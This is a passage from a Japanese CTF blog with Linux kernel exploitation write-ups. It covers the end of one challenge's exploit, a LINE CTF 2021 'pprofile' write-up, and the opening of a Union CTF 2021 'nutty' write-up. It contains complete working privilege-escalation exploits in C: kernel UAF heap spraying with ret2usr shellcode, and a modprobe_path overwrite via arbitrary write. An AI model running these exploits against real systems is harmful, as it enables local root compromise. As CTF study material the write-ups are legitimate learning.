globals) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { puts("[!] NIRUGIRI!"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; puts("\n\n Got a root! 🎉🎉🎉"); execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } ulong kernbase; ulong commit_creds, prepare_kernel_cred; static void shellcode(void){ ulong init_cred; asm( "mov %%rdi, 0x0\n" "call %P1\n" "movq %0, %%rax" : "=r" (init_cred) : "r" ((void*)prepare_kernel_cred) : "memory" ); asm( "mov %%rdi, %0\n" "call %P1\n" ::"r"((void *)init_cred), "r"((void *)commit_creds) : "memory" ); asm( "swapgs\n" "mov %%rax, %0\n" "push %%rax\n" "mov %%rax, %1\n" "push %%rax\n" "mov %%rax, %2\n" "push %%rax\n" "mov %%rax, %3\n" "push %%rax\n" "mov %%rax, %4\n" "push %%rax\n" "iretq\n" ::"r"(user_ss), "r"(user_sp), "r"(user_rflags), "r"(user_cs), "r"(&NIRUGIRI) : "memory" ); } // (END utils) void register_record(int fd, int score, char *date){ struct ioctl_register_query q = { .record = {.result = score,}, }; strncpy(q.record.date, date, 0x10); if(ioctl(fd, SUSHI_REGISTER_RECORD, &q) < 0){ errExit("register_record()"); } } void fetch_record(int fd, int rank, struct record *record){ struct ioctl_fetch_query q = { .rank = rank, }; if(ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0){ errExit("fetch_record()"); } memcpy(record, &q.record, sizeof(struct record)); } void clear_record(int fd){ if(ioctl(fd, SUSHI_CLEAR_OLD_RECORD, NULL) < 0){ errExit("clear_record()"); } } void show_rankings(int fd){ struct ioctl_fetch_query q; for (int ix = 0; ix != 3; ++ix){ q.rank = ix + 1; if (ioctl(fd, SUSHI_FETCH_RECORD, &q) < 0) break; printf("%d: %ld sec : %s\n", ix + 1, q.record.result, q.record.date); } } void clear_all_records(int fd){ if(ioctl(fd, SUSHI_CLEAR_ALL_RECORD, NULL) < 0){ errExit("clear_all_records()"); } } int main(int argc, char *argv[]) { char inbuf[0x200]; char outbuf[0x200]; int seqfd; int tmpfd[0x90]; memset(inbuf, 0, 0x200); memset(outbuf, 0, 0x200); printf("[.] pid: %d\n", getpid()); printf("[.] NIRUGIRI at %p\n", &NIRUGIRI); printf("[.] shellcode at %p\n", &shellcode); int fd = open(DEV_PATH, O_RDWR); if(fd <= 2){ perror("[ERROR] failed to open mora"); exit(0); } clear_all_records(fd); struct record r; struct record r1 = { .result = 1, .date = "1930/03/12", }; // heap spray puts("[.] heap spraying..."); for (int ix = 0; ix != 0x90; ++ix) { tmpfd[ix] = open("/proc/self/stat", O_RDONLY); } // leak kernbase puts("[.] generating kUAF..."); register_record(fd, r1.result, r1.date); clear_record(fd); if((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){ errExit("open seq_operations"); } fetch_record(fd, 1, &r); const ulong _single_start = *((long*)r.date); const ulong kernbase = _single_start - 0x194090; printf("[+] single_start: %lx\n", _single_start); printf("[+] kernbase: %lx\n", kernbase); commit_creds = kernbase + 0x06cd00; printf("[!] commit_creds: %lx\n", commit_creds); prepare_kernel_cred = kernbase + 0x6d110; printf("[!] prepare_kernel_cred: %lx\n", prepare_kernel_cred); // double free struct record r2 = { .result = 3, }; *((ulong*)r2.date) = &shellcode; clear_record(fd); register_record(fd, r2.result, r2.date); // get RIP save_state(); for (int ix = 0; ix != 0x80; ++ix){ close(tmpfd[0x90 - 1 - ix]); } read(seqfd, inbuf, 0x10); return 0; }
# exploit $(EXP)/exploit: $(EXP)/exploit.c docker run -it --rm -v "$$PWD:$$PWD" -w "$$PWD" alpine /bin/sh -c 'apk add gcc musl-dev linux-headers && $(CC) $(CPPFLAGS) $<' #$(CC) $(CPPFLAGS) $< strip $@ .INTERMEDIATE: $(EXP)/exploit.gz $(EXP)/exploit.gz: $(EXP)/exploit gzip $< $(EXP)/exploit.gz.b64: $(EXP)/exploit.gz base64 $< > $@ exp: $(EXP)/exploit.gz.b64
7: 感想
まずは、参加してくださった方々、とりわけ外部ゲストの方々ありがとうございました。超強豪が問題を解いている画面を見れるなんて滅多にないので、裏でかなり興奮していました。
特に@pwnyaaさんが残り3分くらいでroot shellを取ったところは感動モノでした。wgetを入れていなかったことや、サーバが本当の最後の数分間に調子が悪かったらしいこともあって足を引っ張ってしまって申し訳ないです。。。
今回の作問は、ステップを登っていく楽しさは味わえるようにしながら、ライブなので冷えすぎないように調整することが大事だったと思います。最初はそのコンセプトのもとにプログラムも80-90行くらいで収まるようにしていたのですが、あまりにも意味のないプログラムになりすぎたのでボツにして寿司打にしました(最初はcowsayをもじったmorasayという問題でした)。その結果として100行を超えてしまったのですが、個人的に少し長いプログラムよりもなにをしているかわからないプログラムのほうが読むの苦手なので寿司打におちつきました(それでもレコードをLKMに保存するの、意味わからんけど)。難易度に関しては、Lv1/2はライブ用にしましたが、Lv3は外部用の挑戦問題にしました。ただ、userland側のコードの多さゆえにミスリードが何箇所か存在していたらしく、それのせいで数分奪われてしまい解ききれないという人もいたと思うので、やっぱりシンプルさは大事だなぁと反省しました。
今回のpwnに関しては、kCTFでデプロイしています。ただ、k8sよくわからんので、実際に運用しているときにトラブルが発生して迅速に対応できるかと言うと、僕の場合はNoです。また、kCTFにはhealthcheckを自動化してくれるフレームワークが有るためexploitをhealthcheckできるような形式で書いたりする必要があります(今回はそんなに手間ではありませんでしたが、上のexploitコードの1/3くらいは冗長だと思います)。今回もhealthcheckは走ってたらしいですが、なにせstatusバッジがないためあんまり意味があったかはわかりません。
余談ですが、kCTFで権限を落とすのに使われているsetprivですが、aptリポジトリのsetprivを最新のkernelで使うことはできません。というのも、古いsetprivは/proc/sys/kernel/cap_last_cap
から入手したcap数とlinux/include
内で定義されているcap数を比べてassertしているようなので。
wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:41:59 Wed May 05 $ cat /proc/sys/kernel/cap_last_cap 39 wataru@skbpc:~/test/sandbox/ctf-directory/chal-sample: 15:42:11 Wed May 05 $ cat /usr/include/linux/capability.h | grep CAP_LAST_CAP -B5 /* Allow reading the audit log via multicast netlink socket */ #define CAP_AUDIT_READ 37 #define CAP_LAST_CAP CAP_AUDIT_READ
最新のkernelではCAP_BPFとCAP_PERFMONが追加されているため差分が生じてassertに失敗してしまいます。最新のsetprivではcap_last_cap
を全面的に信用することにしたらしいので、大丈夫なようです。
/* We can trust the return value from cap_last_cap(), * so use that directly. */ for (i = 0; i <= cap_last_cap(); i++) cap_update(action, type, i);
実際にデプロイするときはkernelのver的に大丈夫でしたが、localで試すときには最新版のsetprivをソースからビルドして使いました。
あと毎回思うんですが、pwnの読み方はぽうんではなくぱうんだと思います。
まぁなにはともあれlive-ctfも終わりです。
8: 参考
1: TSG LIVE!6
https://www.youtube.com/watch?v=oitn3AiP6bM&t=14898s
2: ニルギリ
続く...
【pwn 52.0】pprofile - LINE CTF 2021 (kernel exploit)
copy_user_generic_unrolled / pointer validation / modprobe_path
- 1: イントロ
- 2: static
- 3: Module
- 4: 期間中に考えたこと(FAIL)
- 5: Vuln
- 6: 方針
- 7: exploit
- 8: アウトロ
- 9: symbols without KASLR
- 10: 参考
1: イントロ
いつぞや開催されたLINE CTF 2021。最近kernel問を解いているのでkernel問を解こうと思って望んだが解けませんでした。このエントリの前半はpprofileの問題の概要及び自分がインタイムに考えたことをまとめていて、後半で実際に動くexploitの概要を書いています。尚、本exploitは@sampritipandaさんのPoCを完全に参考にしています。というかほぼ写経しています。過去のCTFの問題を復習する時に結構この人のPoCを参考にすることが多いので、いつもかなり感謝しています。
今回、振り返ってみるとかなり明らかな、自明と言うか、誘っているようなバグがあったにも関わらず全然気づけなかったので、反省しています。嘘です。コーラ飲んでます。
2: static
/ $ cat /proc/version Linux version 5.0.9 (ubuntu@ubuntu) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.11)) #1 SMP 9 $ cat ./run qemu-system-x86_64 -cpu kvm64,+smep,+smap \ -m 128M \ -kernel ./bzImage \ -initrd ./initramfs.cpio \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "root=/dev/ram rw rdinit=/root/init console=ttyS0 loglevel=3 oops=panic panic=1" $ modinfo ./pprofile.ko filename: /home/wataru/Documents/ctf/line2021/pprofile/work/./pprofile.ko license: GPL author: pprofile srcversion: 35894B85C84616BDF4E3CE4 depends: retpoline: Y name: pprofile vermagic: 5.0.9 SMP mod_unload modversions
SMEP有効・SMAP有効・KAISER有効・KASLR有効・oops->panic・シングルコアSMP。ソース配布なし。
3: Module
ioctl
のみを実装したデバイスを登録している。コマンドは3つ存在し、それぞれ大凡以下のことをする。
PP_REGISTER: 0x20
クエリは以下の構造。また、内部では2つの構造体が使われる。
struct ioctl_query{ char *comm; char *result; } struct unk1{ char *comm; struct unk2 *ptr; } struct unk2{ ulong NOT_USED; uint pid; uint length; } struct unk1 storages[0x10]; // global
ユーザから指定されたcomm
がstorages
に存在していなければ新しくunk1
とunk2
をkmalloc/kmem_cache_alloc_trace()
で確保し、callerのPIDや指定されたcomm
及びそのlengthを格納する。この際に、comm
のlengthに応じて以下の謎の処理があるが、これが何をしているかは分からなかった。
else { uVar5 = (uint)offset; /* n <= 6 */ if (uVar5 < 0x8) { if ((offset & 0x4) == 0x0) { /* n <= 3 */ if ((uVar5 != 0x0) && (*__dest = '\0', (offset & 0x2) != 0x0)) { *(undefined2 *)(__dest + ((offset & 0xffffffff) - 0x2)) = 0x0; } } else { /* 4 <= n <= 6 */ *(undefined4 *)__dest = 0x0; *(undefined4 *)(__dest + ((offset & 0xffffffff) - 0x4)) = 0x0; } } else { /* n == 7 */ *(undefined8 *)(__dest + ((offset & 0xffffffff) - 0x8)) = 0x0; if (0x7 < uVar5 - 0x1) { uVar4 = 0x0; do { offset = (ulong)uVar4; uVar4 = uVar4 + 0x8; *(undefined8 *)(__dest + offset) = 0x0; } while (uVar4 < (uVar5 - 0x1 & 0xfffffff8)); } }
PP_DESTROY: 0x40
storages
から指定されたcomm
を持つエントリを探して、kfree()
及びNULLクリアするのみ。
PP_ASK: 0x10
指定されたcomm
に該当するstorages
のエントリのunk2
構造体が持つ値を、指定されたquery.result
にコピーする。このコピーでは以下のようにput_user_size()
という関数が使われている。
/* Found specified entry */ uVar5 = unk1->info2->pid; uVar4 = unk1->info2->length; put_user_size(NULL,l58_query.result,0x4); iVar2 = extraout_EAX; if ((extraout_EAX != 0x0) || (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00, extraout_EAX_00 != 0x0)) goto LAB_001001a0; put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);
この関数は、内部でcopy_user_generic_unrolled()
という関数を用いてコピーを行っている。この関数の存在を知らなかったのだが、/arch/x86/lib/copy_user_64.S
でアセンブラで書かれた関数でuserlandに対するコピーを行うらしい。先頭にあるSTAC
命令は一時的にSMAPを無効にする命令である。
ENTRY(copy_user_generic_unrolled) ASM_STAC cmpl $8,%edx jb 20f /* less then 8 bytes, go to byte copy loop */ ALIGN_DESTINATION movl %edx,%ecx andl $63,%edx shrl $6,%ecx jz .L_copy_short_string 1: movq (%rsi),%r8 (snipped...)
この時点で、明らかにこれが自明なバグであることに気づくべきだった 。まぁ、後述。
4: 期間中に考えたこと(FAIL)
絶対にレースだと思ってた。というのも、リバースしたコードが、それはもうTOCTOU臭が漂いまくっていた。いや、本当は漂ってなかったかも知れないが、絶対そうだと思いこんでいた。一番有力なのは以下の部分だと思ってた。
if (command == 0x10) { iVar2 = strncpy_from_user(&l41_user_comm,l58_query.userbuf,0x8); if ((iVar2 == 0x0) || (iVar2 == 0x9)) goto LAB_00100341; if (iVar2 < 0x0) goto LAB_001001a0; p_storage = storages; do { unk1 = *p_storage; if ((unk1 != NULL) && (iVar2 = strcmp(unk1->comm,(char *)&l41_user_comm), comm = l58_query.result, iVar2 == 0x0)) { /* Found specified entry */ uVar5 = unk1->info2->pid; uVar4 = unk1->info2->length; put_user_size(NULL,l58_query.result,0x4); iVar2 = extraout_EAX; if ((extraout_EAX != 0x0) || (put_user_size((char *)(ulong)uVar5,comm + 0x8,0x4), iVar2 = extraout_EAX_00, extraout_EAX_00 != 0x0)) goto LAB_001001a0; put_user_size((char *)(ulong)uVar4,comm + 0xc,0x4);
userから指定されたcomm
をstrncpy_from_user()
でコピーした後に、合致するエントリがあるかをstorages
から探し、見つかったならばその結果をquery.result
にコピーしている。ここだけが唯一storages
からの検索後にもユーザランドへのアクセスがあったため、ここでuffdしてTOCTOUするものだと思った。処理を止めている間に該当エントリをPP_DESTROY
して何か他のオブジェクトを入れた後にreadするんじゃないかと思った。だが、実際の処理ではユーザアクセス(put_user_size()
)の前にpidとlengthをスタックに積んでいるため、少なくともuffdによるレースは失敗する。なんかうまいことstorages
の検索後からスタックに積むまでの間に処理が移ったら良いんじゃないかとも思ったが、だいぶしんどそう。しかも、この方法だとleakができたとしてもwriteする手段がないためどっちにしろ詰むことになったと思う。
レースの線に固執しすぎていたのと、あと単純にリバースが下手でバイナリを読み間違えていたのもあって、解けなかった。
5: Vuln
以下、完全に@sampritipandaさんのPoCをパクっています。
上述したが、ユーザランドへのコピーにcopy_user_generic_unrolled()
を使っている。この関数のことを読み飛ばしていたのだが、kernelを読んでみると、この関数はCPUがrep movsq
等の効率的なコピーに必要な命令のマイクロコードをサポートしていない場合に呼ばれる関数らしい。
copy_user_generic(void *to, const void *from, unsigned len) { unsigned ret; /* * If CPU has ERMS feature, use copy_user_enhanced_fast_string. * Otherwise, if CPU has rep_good feature, use copy_user_generic_string. * Otherwise, use copy_user_generic_unrolled. */ alternative_call_2(copy_user_generic_unrolled, copy_user_generic_string, X86_FEATURE_REP_GOOD, copy_user_enhanced_fast_string, X86_FEATURE_ERMS, ASM_OUTPUT2("=a" (ret), "=D" (to), "=S" (from), "=d" (len)), "1" (to), "2" (from), "3" (len) : "memory", "rcx", "r8", "r9", "r10", "r11"); return ret; }
そして、このcopy_user_generic()
自体は通常のcopy_from_user()
から呼ばれる関数である。(raw_copy_from_user()
経由)
unsigned long _copy_from_user(void *to, const void __user *from, unsigned long n) { unsigned long res = n; might_fault(); if (likely(access_ok(from, n))) { kasan_check_write(to, n); res = raw_copy_from_user(to, from, n); } if (unlikely(res)) memset(to + (n - res), 0, res); return res; } EXPORT_SYMBOL(_copy_from_user);
はい。上の関数を見れば分かるが、raw_copy_from_user()
を呼び出す前にはaccess_ok()
を呼んで、指定されたユーザランドポインタがvalidなものであるかをチェックする必要がある。つまり、copy_user_generic_unrolled()
自体はこのチェックが既に済んでおり、ポインタはvalidなものとして扱う。よって、 query.resultにkernellandのポインタを渡してしまえばAAWが実現される 。
6: 方針
PP_ASK
で書き込まれる値は、comm
のlength
・PID、及び使用されていない常に0の8byteである(これナニ?)。この内comm
はlengthが1~7に限定されているため、任意に操作できるのはPIDだけである。fork()
を所望のPIDになるまで繰り返せば任意の値を書き込むことができる。
任意書き込みができる場合に一番楽なのはmodprobe_path
である。この際、KASLRが有効だからleakしなくちゃいけないと思ったら、意外とbruteforceでなんとかなるらしい。エントロピーは、以下の試行でも分かるように1byteのみである。 readのbruteforceならまだしも、writeのbruteforceでも意外とkernelはcrashしないらしい 。勉強になった。
ffffffff82256f40 D modprobe_path ffffffff90256f40 D modprobe_path ffffffff96256f40 D modprobe_path
7: exploit
/** This PoC is completely based on https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6 **/ #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> // commands #define DEV_PATH "/dev/pprofile" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000UL #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals // (END globals) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } static void shellcode(void){ asm( "xor rdi, rdi\n" "mov rbx, QWORD PTR [rsp+0x50]\n" "sub rbx, 0x244566\n" "mov rcx, rbx\n" "call rcx\n" "mov rdi, rax\n" "sub rbx, 0x470\n" "call rbx\n" "add rsp, 0x20\n" "pop rbx\n" "pop r12\n" "pop r13\n" "pop r14\n" "pop r15\n" "pop rbp\n" "ret\n" ); } // (END utils) /*** GLOBALS *****/ void *mmap_addr; int fd; char inbuf[PAGE]; char outbuf[PAGE]; /********************/ #define PP_REGISTER 0x20 #define PP_DESTROY 0x40 #define PP_ASK 0x10 struct query{ char *buf; char *result; }; void _register(int fd, char *buf){ printf("[.] register: %d %p(%s)\n", fd, buf, buf); struct query q = { .buf = buf}; int ret = ioctl(fd, PP_REGISTER, &q); printf("[reg] %d\n", ret); } void _destroy(int fd, char *buf){ printf("[.] destroy: %d %p(%s)\n", fd, buf, buf); struct query q = { .buf = buf }; int ret = ioctl(fd, PP_DESTROY, &q); printf("[des] %d\n", ret); } void _ask(int fd, char *buf, char *obuf){ printf("[.] ask: %d %p %p\n", fd, buf, obuf); struct query q = { .buf = buf, .result = obuf }; int ret = ioctl(fd, PP_ASK, &q); printf("[ask] %d\n", ret); } void ack_pid(int pid, void (*f)(ulong), ulong arg){ while(1==1){ int cur = fork(); if(cur == 0){ // child if(getpid() % 0x100 == 0){ printf("[-] 0x%x\n", getpid()); } if(getpid() == pid){ f(arg); } exit(0); }else{ // parent wait(NULL); if(cur == pid) break; } } } void sub_aaw(ulong offset){ for (int ix = 0; ix != 0xFF; ++ix){ ulong target = 0xffffffff00000000UL + ix * 0x01000000UL + offset; _register(fd, inbuf); _ask(fd, inbuf, (char *)target); _destroy(fd, inbuf); } } void aaw(ulong offset, unsigned val){ ack_pid(val, &sub_aaw, offset); } int main(int argc, char *argv[]) { char s_evil[] = "/tmp/a\x00"; memset(inbuf, 0, 0x200); memset(outbuf, 0, 0x200); strcpy(inbuf, "ABC\x00"); fd = open(DEV_PATH, O_RDONLY); assert(fd >= 2); // setup for modprobe_path overwrite system("echo -ne '#!/bin/sh\nchmod 777 /root/flag' > /tmp/a"); system("chmod +x /tmp/a"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri"); system("chmod +x /tmp/nirugiri"); for(int ix=0;ix<strlen(s_evil);ix+=2){ printf("[+] writing %x.......\n", *((unsigned short*)(s_evil+ix))); aaw(0x256f40 - 0x10 + 8 + ix, *((unsigned short*)(s_evil+ix))); } // invoke user_mod_helper system("/tmp/nirugiri"); return 0; } /* ffffffff82256f40 D modprobe_path ffffffff90256f40 D modprobe_path ffffffff96256f40 D modprobe_path */
8: アウトロ
この、無能め!!!!
9: symbols without KASLR
/ # cat /proc/kallsyms | grep pprofile 0xffffffffc0002460 t pprofile_init [pprofile] 0xffffffffc00044d0 b __key.27642 [pprofile] 0xffffffffc00030a0 r pprofile_fops [pprofile] 0xffffffffc0002570 t pprofile_exit [pprofile] 0xffffffffc00032bc r _note_6 [pprofile] 0xffffffffc0004440 b p [pprofile] 0xffffffffc0004000 d pprofile_major [pprofile] 0xffffffffc0004040 d __this_module [pprofile] 0xffffffffc0002570 t cleanup_module [pprofile] 0xffffffffc00044c8 b pprofile_class [pprofile] 0xffffffffc0002460 t init_module [pprofile] 0xffffffffc0002000 t put_user_size [pprofile] 0xffffffffc0002050 t pprofile_ioctl [pprofile] 0xffffffffc0004460 b cdev [pprofile] 0xffffffffc00043c0 b storages [pprofile]
10: 参考
1: sampritipandaさんのPoC
https://gist.github.com/sampritipanda/3ad8e88f93dd97e93f070a94a791bff6
2: ニルギリ(100万再生いってるけど、内7億回くらいは僕です)
続く...
【pwn 51.0】nutty - Union CTF 2021 [maybe not intended sol] (kernel exploit)
kernel exploit / race without uffd / SLOB / seq_operations / tty_struct / bypass SMAP via kROP on kheap
- 1: イントロ
- 2: static
- 3: Vuln
- 4: leak kernbase
- 5: get RIP
- 6: bypass SMAP via kROP in kernel heap
- 7: remoteでrootが取れないぽよ。。。 (FAIL)
- 8: exploit
- 9: アウトロ
- 10: 参考
1: イントロ
いつぞや開催された Union CTF 2021 。そのpwn問題である nutty 。先に言ってしまうと、localでrootが取れたもののremoteで動かなかったためflagは取れませんでした。。。。。。。
今これを書いているのが日曜日の夜9:30のため、あとCTFは6時間くらいあって、その間にremoteで動くようにデバッグしろやと自分自身でも思っているんですが、ねむねむのらなんにゃんこやねんになってしまったため、寝ます。起きたら多分CTF終わってるので、忘却の彼方に行く前に書き残しときます。感想を言っておくと、今まで慣れ親しんできたkernel問とはconfigが結構違うくて、辛かったです。
あとでちゃんと復習して、remoteでもちゃんと動くようなexploitに書き直しときます 。
【追記20210222】
なんかDiscord見た感じ、普通にoverflowがあったっぽい。。。。。。けど気づかなかったので、一切overflowを使わずに進めてしまいました。:cry:
【追記終わり】
【追記20210222】
方針は、完全にこれでよかった。ただ一つ、間違えていたのはsetxattrする対象をloaclでは/tmpに入れていたが、remoteでは/home/userに入れていたため、setxattrが動いてなかっただけだった。。。。普段なら返り値全てにassertしているのだが、今回はuffdなしのraceだったため少しでも余計な処理をなくすためにassertを端折ってしまっていた。実際にsetxattrの第一引数を/home/userに変更するだけで、exploitは1/2の確率でremoteで動作するようになった。。。。。もおおおおおおおおおおおおおおおおお。
【追記終わり】
2: static
basic
/ $ cat /proc/version Linux version 5.10.17 (p4wn@p4wn) (gcc (GCC) 10.2.0, GNU ld (GNU Binutils) 2.35) #3 SMP Thu Feb 18 21:52:1 / $ lsmod vulnmod 16384 0 - Live 0x0000000000000000 (O) timeout qemu-system-x86_64 \ -m 128 \ -kernel bzImage \ -initrd initramfs.cpio \ -nographic \ -smp 1 \ -cpu kvm64,+smep,+smap \ -append "console=ttyS0 quiet kaslr" \ -monitor /dev/null \
SMEP有効・SMAP有効・KASLR有効・KAISER有効・FGKASLR無効。
module
ソースコードが配布されている。最高。nut
という構造体があり、ユーザから提供されたデータを保持するノートみたいな役割を果たす。
3: Vuln
kUAF / double fetch
static int append(req* arg){ int idx = read_idx(arg); if (idx < 0 || idx >= 10){ return -EINVAL; } if (nuts[idx].contents == NULL){ return -EINVAL; } int new_size = read_size(arg) + nuts[idx].size; if (new_size < 0 || new_size >= 1024){ printk(KERN_INFO "bad new size!\n"); return -EINVAL; } char* tmp = kmalloc(new_size, GFP_KERNEL); memcpy_safe(tmp, nuts[idx].contents, nuts[idx].size); kfree(nuts[idx].contents); // A char* appended = read_contents(arg); // B if (appended != 0){ memcpy_safe(tmp+nuts[idx].size, appended, new_size - nuts[idx].size); kfree(appended); // C } nuts[idx].contents = tmp; // D nuts[idx].size = new_size; return 0; }
ノートを書き足す際にappend()
関数が呼ばれる。この時、"A"において古いノートを一旦kfree()
して、"B"で追加されたデータをcopy_from_user()
によってコピーした後、コピーに使った一時的な領域を"C"でkfree()
している。この時、ノートの管理構造体であるnut
に対して新しいデータが実際につけ変わるのは"D"であり、"A"と"D"の間ではkfree()
された領域へのポインタが保持されたままになっている。よって、"A"と"D"の間で上手く処理をユーザランドに戻すことができれば、RaceConditionになる。
invalid show size
static int show(req* arg){ int idx = read_idx(arg); if (idx < 0 || idx >= 10){ return -EINVAL; } if (nuts[idx].contents == NULL){ return -EINVAL; } copy_to_user(arg->show_buffer, nuts[idx].contents, nuts[idx].size); return 0; }
ユーザが書き込んだデータをユーザランドに返すshow()
という関数がある。このモジュールではデータ読み込みの際に、データバッファ自体のサイズと実際に入力するデータ長を区別しているが、copy_to_user()
においては実際のデータ長(nut.content_length
)ではなく、バッファの長さ(nut.size
)を利用している。よって、短いデータを大きいバッファに入れることで初期化されていないheap内のデータを読むことができ、容易にheapアドレス等のleakができる。
4: leak kernbase
race via userfaultfd (FAIL)
これだったら、いつもどおりuffdでraceを安定させて終わりじゃーんと最初に問題を見たときには思った。だが、調べる内にこのkernelには 想定外のことが3つ あった。
1つ目。uffdが無効になっている。呼び出すと、Function not Implementedと表示されるだけ。よって、uffdによってraceを安定化させるということはできない。
/ # cat /proc/kallsyms | grep userfaultfd ffffffffad889df0 W __x64_sys_userfaultfd ffffffffad889e00 W __ia32_sys_userfaultfd
2つ目。スラブアロケータがSLUBじゃない。heapを見てみると、見慣れたSLUBと構造が異なっていた。恐らくこれはSLOBである。そして、ぼくはSLOBの構造をよく知らない。なんかキャッシュが大中小の3パターンでしか分かれていないというのと、objectの終わりの方に次へのポインタがあるっていうことくらい。
3つ目。modprobe_path
がない。なんかあってもmodprobe_path書き換えれば終わりだろ〜と思っていたが、これまた検討が外れた。
【追記20210222】
modprobe_path、普通に存在していたらしい。まぁあっても使わなかったと思うけど。
race to leak kernbase without uffd (Success)
uffdが使えないため、素直にraceを起こすことにした。利用する構造体はseq_operations
。大まかな流れは以下のとおり。
1. 0x20サイズのnutをcreate 2. 1で作ったnutに対してsize:0x100,content_length:0でひたすらにappendし続ける 3. 別スレッドにおいて1で作ったnutからひたすらにopen(/proc/self/stat)とshowを交互にする 4. 上手くタイミングが噛み合い、appendの途中で3のスレッドにスイッチした場合、kfreeされたnutをseq_operationsとして確保できる。よって、これをshowすることでポインタがleakできる。
これで、kernbaseのleak完了。
5: get RIP
RIPの取得も、kernbaseのleakとほぼ同じようにraceさせることでできる。今回はtty_struct
を使った。
6: bypass SMAP via kROP in kernel heap
RIPを取れたは良いが、今回はSMAP/SMEP/KPTI有効というフル機構である。SMEP有効のためuserlandのshellcodeは動かせないし、SMAP有効のためuserlandにstack pivotしてkROPすることもできない。また、modprobe_path
も存在しないため書き換えだけでrootを取ることもできない。ここでかなり悩んで時間を使ってしまった。
最終的に、tty_struct
内の関数ポインタを書き換えてgadgetに飛んだ時に、RBPがtty_struct
自身を指していることが分かった。そのため、leave, ret
するgadgetに飛ぶことで、RSPをtty_struct
、すなわちkernel heapに向けることができる。但し、このtty_struct
は既にRIPを取るために使ったペイロードが入っている。よって、 このペイロードも含めてkROPとして成立するようなkROP chain を組む必要があった。最終的にtty_struct
は以下のようなペイロードとchainを含んだ構造になった。
